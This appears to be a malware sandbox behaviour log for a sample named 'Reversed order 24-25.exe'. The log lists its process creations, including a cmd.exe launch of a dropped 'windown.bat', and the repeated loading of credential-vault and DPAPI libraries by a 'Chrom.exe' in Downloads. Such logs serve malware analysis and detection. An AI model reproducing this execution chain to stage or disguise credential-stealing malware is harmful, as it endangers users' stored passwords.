Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: 7z.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: msftedit.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windows.globalization.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: bcp47mrm.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: globinputhost.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dataexchange.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dcomp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
